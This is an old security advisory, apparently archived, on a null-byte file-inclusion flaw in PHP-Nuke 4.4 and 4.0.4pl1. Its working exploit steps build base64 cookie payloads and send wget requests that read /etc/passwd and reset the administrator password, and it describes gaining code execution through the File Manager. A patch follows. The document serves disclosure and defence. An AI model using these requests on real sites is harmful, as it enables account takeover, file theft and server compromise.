COMMAND

    PHP-nuke

SYSTEMS AFFECTED

    PHP-nuke 4.4, 4.0.4pl1

PROBLEM

    Joao Gouveia  found following.   Any user  can gain  administrator
    previleges.  Every file that  the webserver has access to,  can be
    read by anyone.  Any user can execute arbitrary commands with  the
    previleges of the web server.

    PHP  in  some  functions,  like  for  example  fopen(), include(),
    require(), ignores everything after a NULL if one is present.

        magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data

    Example:

        <? echo $string?>
        
        test.php?string=tes%00t
        output:tes\0t

    now, with magic_quotes_gpc turned Off.

        output:test

    The same two tests aplied to an include($string)

        magic_quotes_gpc On, output: Warning: Failed opening 'tes\0t' for
        inclusion
        magic_quotes_gpc Off, output: Warning: Failed opening 'tes' for
        inclusion

    So, everything after the NULL was ignored.

    Of  course,  one  that  who  uses magic_quotes_gpc turned on isn't
    expecting this kind of behaviour.  The problem here, as RFP  noted
    in his post to bugtraq,  is that PHP-Nuke uses base64_encode()  to
    encode  it's  cookies,  and  the  user  information.  In this vars
    there is a interesting one, the theme configuration (also  pointed
    out by RFP).  The same thing that makes phpnuke not escape the ' ,
    also makes it not escape the NULL.  So, here's an example:

        if ($user) {
                        $user = base64_decode($user);
                        $userdata = explode(":", $user);
        }
        
        if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
        else $themes = "themes/$Default_Theme/theme.php";
        
        include ("$themes");

    Here's a simple way to get /etc/passwd:

        jroberto@spike:~ > /bin/echo -e
        "1:1:1:1:1:1:1:1:1:../../../../../etc/passwd\000" |uuencode -m f
        begin-base64 644 f
        MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
        jroberto@spike:~ > wget
        'http://target/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vL
        i4vZXRjL3Bhc3N3ZAAK'
        -O target.passwd
        jroberto@spike:~ > head -n1 target.passwd
        root:x:0:0:root:/root:/bin/bash

    And, with a  litle imagination, here's  another way to  change the
    default administrator (God) password:

        jroberto@spike:~ > /bin/echo -e
        "1:1:1:1:1:1:1:1:1:../admin/authors.php\000">lixo
        jroberto@spike:~ > uuencode -m lixo lixo2
        begin-base64 644 lixo2
        MToxOjE6MToxOjE6MToxOjE6Li4vYWRtaW4vYXV0aG9ycy5waHAACg==
        jroberto@spike:~ > wget
        'http://target/bb_smilies.php/admin.php?user=1ToxOjE6MToxOjE6MToxOjE6Li4vYWR
        taW4vYXV0aG9ycy5waHAACg==&op=UpdateAuthor&chng_aid=God&chng_pwd=newpass&chng
        _name=God&chng_email=qweqwe@asdasd&chng_pwd2=newpass'
        -O test

    And here's a  simple way to  execute arbitrary code  on the server
    (given  that  it's  not  running  in  safe_mode and filemanager is
    working).  After geting administration previleges, go to the admin
    area and give "God" superuser privs (if it isn't enabled).  Switch
    to the File Manager area, edit/create/rename your choosen file and
    insert your php code there.

    On a side note to other PHP developers, if your code is  expecting
    Magic Quotes to be on, then there's no reason for this  particular
    problem as Magic Quotes can be programatically controlled:

        if( ! get_magic_quotes_gpc() ) {
            set_magic_quotes_runtime(1) or die("could not enable magic quotes");
        }

    Anyone using PHP  should have this  bit-o-code somewhere near  the
    start of program execution, since few servers are ever built  with
    the same features or options enabled it just makes sense to  check
    for the stuff your code needs - especially since magic quotes  can
    help make exploiting a PHP script much more difficult.

SOLUTION

    Version 4.4.1 has been released, for a quick fix see below.

    Both in bb_smilies.php and bbcode_ref.php change:

        if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
        else $themes = "themes/$Default_Theme/theme.php";

    To:

        if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
        else $themes = "themes/$Default_Theme/theme.php";
        if ( !(strstr(basename($themes),"theme.php")) || !(file_exists($themes)) ){
        echo "Invalid Theme"; exit;}
        include ("$themes");